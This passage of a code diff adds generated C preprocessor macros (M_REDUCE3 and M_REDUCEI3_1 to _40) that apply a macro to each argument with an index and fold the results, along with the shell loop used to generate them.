_42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), f(d, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), g(f(d, _51), f(d, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro with an argument and a counter:
+   Example:
+    M_REDUCE3(f, g, data, a, b, c) ==> g( f(data,1,a), g( f(data, 2, b), f(data, 3, c)))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI3_%d(f,g,d," $i ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j ; done ; printf "_%d) " $i ; for j in $(seq 1 $(($i - 1))) ; do printf "g(f(d, %d, _%d), " $j $j ; done ; printf "f(d, %d, _%d)" $i $i ; for j in $(seq 1 $(( $i - 1 ))); do printf ")" ; done ; printf "\n" ; done
+ */
+#define M_REDUCE3(...)                    M_REDUCEI3_0(__VA_ARGS__)
+#define M_REDUCEI3_0(f, g, d, ...)        M_C(M_REDUCEI3_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI3_1(f,g,d,_1) f(d, 1, _1)
+#define M_REDUCEI3_2(f,g,d,_1, _2) g(f(d, 1, _1), f(d, 2, _2))
+#define M_REDUCEI3_3(f,g,d,_1, _2, _3) g(f(d, 1, _1), g(f(d, 2, _2), f(d, 3, _3)))
+#define M_REDUCEI3_4(f,g,d,_1, _2, _3, _4) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), f(d, 4, _4))))
+#define M_REDUCEI3_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), f(d, 5, _5)))))
+#define M_REDUCEI3_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), f(d, 6, _6))))))
+#define M_REDUCEI3_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), f(d, 7, _7)))))))
+#define M_REDUCEI3_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), f(d, 8, _8))))))))
+#define M_REDUCEI3_9(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), f(d, 9, _9)))))))))
+#define M_REDUCEI3_10(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), f(d, 10, _10))))))))))
+#define M_REDUCEI3_11(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), f(d, 11, _11)))))))))))
+#define M_REDUCEI3_12(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), f(d, 12, _12))))))))))))
+#define M_REDUCEI3_13(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), f(d, 13, _13)))))))))))))
+#define M_REDUCEI3_14(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), f(d, 14, _14))))))))))))))
+#define M_REDUCEI3_15(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), f(d, 15, _15)))))))))))))))
+#define M_REDUCEI3_16(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), f(d, 16, _16))))))))))))))))
+#define M_REDUCEI3_17(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), f(d, 17, _17)))))))))))))))))
+#define M_REDUCEI3_18(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), f(d, 18, _18))))))))))))))))))
+#define M_REDUCEI3_19(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), f(d, 19, _19)))))))))))))))))))
+#define M_REDUCEI3_20(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), f(d, 20, _20))))))))))))))))))))
+#define M_REDUCEI3_21(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), f(d, 21, _21)))))))))))))))))))))
+#define M_REDUCEI3_22(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), f(d, 22, _22))))))))))))))))))))))
+#define M_REDUCEI3_23(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), f(d, 23, _23)))))))))))))))))))))))
+#define M_REDUCEI3_24(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), f(d, 24, _24))))))))))))))))))))))))
+#define M_REDUCEI3_25(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), f(d, 25, _25)))))))))))))))))))))))))
+#define M_REDUCEI3_26(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), f(d, 26, _26))))))))))))))))))))))))))
+#define M_REDUCEI3_27(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), f(d, 27, _27)))))))))))))))))))))))))))
+#define M_REDUCEI3_28(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), f(d, 28, _28))))))))))))))))))))))))))))
+#define M_REDUCEI3_29(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), f(d, 29, _29)))))))))))))))))))))))))))))
+#define M_REDUCEI3_30(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), f(d, 30, _30))))))))))))))))))))))))))))))
+#define M_REDUCEI3_31(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), f(d, 31, _31)))))))))))))))))))))))))))))))
+#define M_REDUCEI3_32(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), f(d, 32, _32))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_33(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), f(d, 33, _33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_34(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), f(d, 34, _34))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_35(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), f(d, 35, _35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_36(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), f(d, 36, _36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_37(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), f(d, 37, _37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_38(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), f(d, 38, _38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_39(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), f(d, 39, _39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_40(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), f(d, 40, _40))))))))))))))))))))))))))))))))))))))))
